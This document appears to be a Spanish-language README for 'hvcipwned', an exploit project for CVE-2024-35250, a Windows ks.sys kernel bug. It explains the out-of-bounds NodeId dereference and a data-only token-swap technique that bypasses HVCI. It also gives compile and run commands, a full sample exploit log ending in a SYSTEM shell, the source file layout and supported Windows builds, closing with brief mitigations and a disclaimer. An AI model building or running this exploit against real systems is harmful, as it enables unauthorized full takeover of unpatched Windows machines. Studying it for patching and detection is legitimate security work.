
CVE-2024-35250 demuestra que HVCI no es una defensa contra exploits de kernel solo de datos. Mientras un error de controlador proporcione una primitiva de R/W arbitraria, el intercambio de tokens sigue siendo una técnica universal de elevación a SYSTEM — sin necesidad de ejecución de código.
Escalación de privilegios local mediante desreferencia de puntero no confiable en el controlador Windows Kernel Streaming (ks.sys).
Exploit solo de datos: omite la integridad de código protegida por hipervisor (HVCI).
| Campo | Detalle |
|---|---|
| CVE | CVE-2024-35250 |
| Componente | ks.sys (Kernel Streaming) |
| Clase de Error | Desreferencia de puntero no confiable |
| Impacto | EoP a NT AUTHORITY\SYSTEM |
| HVCI | Omitido: sin ejecución de código en el kernel |
| Parche | KB5039212 (junio de 2024) |
| Objetivos | Windows 10 20H1+ / Windows 11 21H2-23H2 |
ks!KspPropertyHandler envía solicitudes de propiedad a nivel de topología a través de KspProcessPropertyNode. El campo NodeId de la estructura KSP_NODE suministrada por el usuario se utiliza como índice en una matriz de tabla de automatización interna sin validación de límites:
NtDeviceIoControlFile
ks!CKSFilter::DispatchDeviceIoControl
ks!KspPropertyHandler
ks!KspProcessPropertyNode
*(automationTable + NodeId * stride) <-- atacante controla
Un NodeId manipulado que excede el recuento real de nodos redirige la desreferencia a la memoria del pool adyacente, produciendo una primitiva de lectura/escritura fuera de límites.
El exploit manipula exclusivamente estructuras de datos del kernel:
EPROCESS mediante NtQuerySystemInformationActiveProcessLinks para localizar el PID 4 (System)No se inyecta shellcode. No se crean ni ejecutan páginas de código sin firmar. No se secuestran punteros de flujo de control.
| Protección | Estado |
|---|---|
| HVCI / KMCI | Omitido |
| SMEP | No activado |
| SMAP | No activado |
| kCFG | No activado |
| CET / Shadow Stack | No activado |
hvcipwned.sln en Visual StudioCtrl+Shift+B)Binario de salida: x64\Release\hvcipwned.exe
cl.exe /nologo /W4 /O2 /TC ^
main.c device.c leak.c krw.c token.c exploit.c ^
/I ^
/Fe:exploit.exe ^
/link setupapi.lib kernel32.lib advapi32.lib
hvcipwned.exe
Ejecutar desde una sesión de usuario sin privilegios en un sistema vulnerable (sin parchear). En caso de éxito, se abre una nueva ventana de cmd.exe ejecutándose como NT AUTHORITY\SYSTEM.
[+] cve-2024-35250 exploit
[+] ks.sys untrusted pointer dereference -> eop
[~] hvci bypass via data-only attack
[+] os: 10.0.19045
[+] offsets: pid=0x440 links=0x448 token=0x4b8
[+] device: \\?\hdaudio#func_01&ven_10ec...
[+] device handle: 0x00000000000000f4
[~] calibrating r/w primitive...
[+] kernel base: 0xfffff80140000000
[~] spraying named pipes for pool layout...
[+] sprayed 5000 pipe pairs
[~] poking hole at index 2500...
[~] scanning for kernel pointer via oob read...
[+] found kernel ptr at node 3 offset 2: 0xffffa70500000000
[+] pipe object kernel addr: 0xffffa70500000000
[+] r/w primitive initialized (mode 1)
[+] current eprocess: 0xffffa705d90f4080
[+] kernel read pid: 1234 (expected: 1234)
[+] system eprocess: 0xffffa70500004080
[+] system token: 0xffffa70512345673
[+] token after swap: 0xffffa70512345670
[+] token swap successful
[+] escalation complete
[+] elevated shell spawned (pid: 5678)
press enter to exit...
hvcipwned/
├── hvcipwned.sln
├── hvcipwned.vcxproj
├── hvcipwned.vcxproj.filters
├── README.md
├── LICENSE
├── .gitignore
├── common.h - tipos, macros de log, typedefs de api nt
├── offsets.h - offsets de campos de eprocess por compilación
├── device.h - enumeración de dispositivos ks
├── leak.h - filtraciones de direcciones del kernel
├── krw.h - contexto de primitiva r/w
├── token.h - intercambio de token + generación de shell
└── exploit.h - entrada de nivel superior
├── main.c - punto de entrada
├── device.c - apertura de dispositivo setupapi
├── leak.c - filtraciones de NtQuerySystemInformation
├── krw.c - desencadenamiento de vulnerabilidad + pool spray + r/w
├── token.c - recorrido de eprocess + sobrescritura de token
└── exploit.c - orquestación
| SO | Compilación | Estado |
|---|---|---|
| Windows 10 20H1 | 19041 | Compatible |
| Windows 10 20H2 | 19042 | Compatible |
| Windows 10 21H1 | 19043 | Compatible |
| Windows 10 21H2 | 19044 | Compatible |
| Windows 10 22H2 | 19045 | Compatible |
| Windows 11 21H2 | 22000 | Compatible |
| Windows 11 22H2 | 22621 | Compatible |
| Windows 11 23H2 | 22631 | Compatible |
Los offsets se resuelven automáticamente en tiempo de ejecución mediante RtlGetVersion.
| Acción | Detalle |
|---|---|
| Parche | Instalar KB5039212 (junio de 2024) o posterior |
| Detección | Monitorear IOCTL_KS_PROPERTY con la bandera KSPROPERTY_TYPE_TOPOLOGY |
| EDR | Alertar sobre cambios en la integridad del token mediante callbacks del kernel EtwTi |
| Endurecimiento | Restringir el acceso de usuario a las interfaces de dispositivo KS mediante DACL |
Este proyecto se proporciona únicamente para investigación de seguridad autorizada y fines educativos. No lo utilice contra sistemas sin permiso explícito por escrito. El autor no asume ninguna responsabilidad por el mal uso o daños causados por este software.